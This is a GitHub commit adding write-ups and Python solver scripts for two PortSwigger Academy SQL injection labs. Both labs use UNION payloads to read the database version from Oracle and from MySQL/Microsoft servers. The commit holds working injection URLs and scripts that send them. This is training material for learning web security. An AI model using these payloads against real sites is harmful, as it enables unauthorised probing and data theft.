Skip to content

Commit bdf3f77

Browse files
committed
add lab 07 & lab 08
1 parent 4adcfcd commit bdf3f77

File tree

7 files changed

+212
-0
lines changed

7 files changed

+212
-0
lines changed
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
# Examining the database in SQL injection attacks
2+
3+
When exploiting [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerabilities, it is often necessary to gather some information about the database itself. This includes the type and version of the database software, and the contents of the database in terms of which tables and columns it contains.
4+
5+
## Querying the database type and version
6+
7+
Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software.
8+
9+
The queries to determine the database version for some popular database types are as follows:
10+
11+
| | |
12+
| --- | --- |
13+
| Database type | Query |
14+
| Microsoft, MySQL | `SELECT @@version` |
15+
| Oracle | `SELECT * FROM v$version` |
16+
| PostgreSQL | `SELECT version()` |
17+
18+
For example, you could use a `UNION` attack with the following input:
19+
20+
`' UNION SELECT @@version--`
21+
22+
This might return output like the following, confirming that the database is Microsoft SQL Server, and the version that is being used:
23+
24+
`Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64) Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)`
25+
26+
# Lab: SQL injection attack, querying the database type and version on Oracle
27+
28+
This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
29+
30+
To solve the lab, display the database version string
31+
32+
#### Hint
33+
34+
On Oracle databases, every `SELECT` statement must specify a table to select `FROM`. If your `UNION SELECT` attack does not query from a table, you will still need to include the `FROM` keyword followed by a valid table name.
35+
36+
There is a built-in table on Oracle called `dual` which you can use for this purpose. For example: `UNION SELECT 'abc' FROM dual`
37+
38+
For more information, see our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).
39+
40+
# PoC
41+
- retrive number of columns using `ORDER BY`. the number of columns is `2`
42+
- in manualy, we can retrive the version of oracle with following payload `https://ac451f281f465491c0091b6d00ff0036.web-security-academy.net/filter?category=Gifts' UNION SELECT 'test', banner FROM v$version--`
43+
```bash
44+
$ python3 sqli_lab_06c.py "https://ac6a1fef1eece449c0e14ad9000b0033.web-security-academy.net"
45+
46+
>> SQL injection attack, querying the database type and version on Oracle
47+
>> by Port Swigger Academy
48+
49+
[*] Retrive dbms version...
50+
[✓] Found the DBMS version.
51+
[✓] The dbms version is 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production'
52+
```
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
#!/usr/bin/python3
2+
import requests
3+
import sys
4+
import urllib3
5+
from bs4 import BeautifulSoup
6+
import re
7+
8+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
9+
10+
class Interface ():
11+
def __init__ (self):
12+
self.red = '\033[91m'
13+
self.green = '\033[92m'
14+
self.white = '\033[37m'
15+
self.yellow = '\033[93m'
16+
self.bold = '\033[1m'
17+
self.end = '\033[0m'
18+
19+
def header(self):
20+
print('\n >> SQL injection attack, querying the database type and version on Oracle')
21+
print(' >> by Port Swigger Academy\n')
22+
23+
def info (self, message):
24+
print(f"[{self.white}*{self.end}] {message}")
25+
26+
def warning (self, message):
27+
print(f"[{self.yellow}!{self.end}] {message}")
28+
29+
def error (self, message):
30+
print(f"[{self.red}x{self.end}] {message}")
31+
32+
def success (self, message):
33+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
34+
35+
# Instantiate our interface class
36+
global output
37+
output = Interface()
38+
output.header()
39+
40+
proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
41+
42+
43+
def exploit_sqli_dbms_version(url):
44+
path = '/filter?category=Pets'
45+
sqli_payload = "' UNION SELECT 'test', banner FROM v$version--"
46+
r = requests.get(url+path+sqli_payload,verify=False,proxies=proxies)
47+
response = r.text
48+
if 'Oracle' in response:
49+
output.success(" Found the DBMS version.")
50+
soup = BeautifulSoup(r.text, 'html.parser')
51+
dbms_version = soup.find(text=re.compile('.*Oracle Database.*'))
52+
output.success(" The dbms version is '%s'" % dbms_version)
53+
return True
54+
return False
55+
56+
if __name__ == "__main__":
57+
try:
58+
url = sys.argv[1].strip()
59+
except IndexError:
60+
output.info(" Usage: %s <url>" % sys.argv[0])
61+
output.info(" Example: %s www.example.com" % sys.argv[0])
62+
sys.exit(-1)
63+
64+
output.info(" Retrive dbms version...")
65+
if not exploit_sqli_dbms_version(url):
66+
output.error(" Did not find and dbms version")
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
2+
3+
This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
4+
5+
To solve the lab, display the database version string.
6+
7+
# PoC
8+
- retrieve the number of columns : `https://ac111faf1ee4c5b2c0342b4c002e004c.web-security-academy.net/filter?category=Accessories'+ORDER+BY+2%23` with url encode
9+
-
10+
![1](screenshot/1.png)
11+
12+
- check string data type: `https://ac111faf1ee4c5b2c0342b4c002e004c.web-security-academy.net/filter?category=Accessories'+UNION+SELECT+'test','test'%23`
13+
14+
![2](screenshot/2.png)
15+
16+
- retrive database version: `https://ac111faf1ee4c5b2c0342b4c002e004c.web-security-academy.net/filter?category=Accessories'+UNION+SELECT+'test',+%40%40version%23`
17+
18+
![3](screenshot/3.png)
19+
20+
```bash
21+
$ python3 sqli_lab_08.py "https://acca1f5a1ebf2974c0b351d2004100c6.web-security-academy.net"
22+
23+
>> SQL injection attack, querying the database type and version on MySQL and Microsoft
24+
>> by Port Swigger Academy
25+
26+
[*] Retrieve dbms version...
27+
[✓] The dbms version is '8.0.29'
28+
```
Loading
Loading
Loading
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
#!/usr/bin/python3
2+
import requests
3+
import sys
4+
import urllib3
5+
from bs4 import BeautifulSoup
6+
import re
7+
8+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
9+
10+
class Interface ():
11+
def __init__ (self):
12+
self.red = '\033[91m'
13+
self.green = '\033[92m'
14+
self.white = '\033[37m'
15+
self.yellow = '\033[93m'
16+
self.bold = '\033[1m'
17+
self.end = '\033[0m'
18+
19+
def header(self):
20+
print('\n >> SQL injection attack, querying the database type and version on MySQL and Microsoft')
21+
print(' >> by Port Swigger Academy\n')
22+
23+
def info (self, message):
24+
print(f"[{self.white}*{self.end}] {message}")
25+
26+
def warning (self, message):
27+
print(f"[{self.yellow}!{self.end}] {message}")
28+
29+
def error (self, message):
30+
print(f"[{self.red}x{self.end}] {message}")
31+
32+
def success (self, message):
33+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
34+
35+
# Instantiate our interface class
36+
global output
37+
output = Interface()
38+
output.header()
39+
40+
proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
41+
42+
43+
def exploit_sqli_dbms_version(url):
44+
path = '/filter?category=Pets'
45+
sqli_payload = "'+UNION+SELECT+NULL,%40%40version%23"
46+
r = requests.get(url+path+sqli_payload,verify=False,proxies=proxies)
47+
response = r.text
48+
soup = BeautifulSoup(r.text, 'html.parser')
49+
dbms_version = soup.find(text=re.compile('.*\d{1,2}\.\d{1,2}\.\d{1,2}.*'))
50+
if dbms_version is None:
51+
return False
52+
else:
53+
output.success(" The dbms version is '%s'" % dbms_version)
54+
return True
55+
56+
if __name__ == "__main__":
57+
try:
58+
url = sys.argv[1].strip()
59+
except IndexError:
60+
output.info(" Usage: %s <url>" % sys.argv[0])
61+
output.info(" Example: %s www.example.com" % sys.argv[0])
62+
sys.exit(-1)
63+
64+
output.info(" Retrieve dbms version...")
65+
if not exploit_sqli_dbms_version(url):
66+
output.error(" Did not find and dbms version")

0 commit comments

Comments
 (0)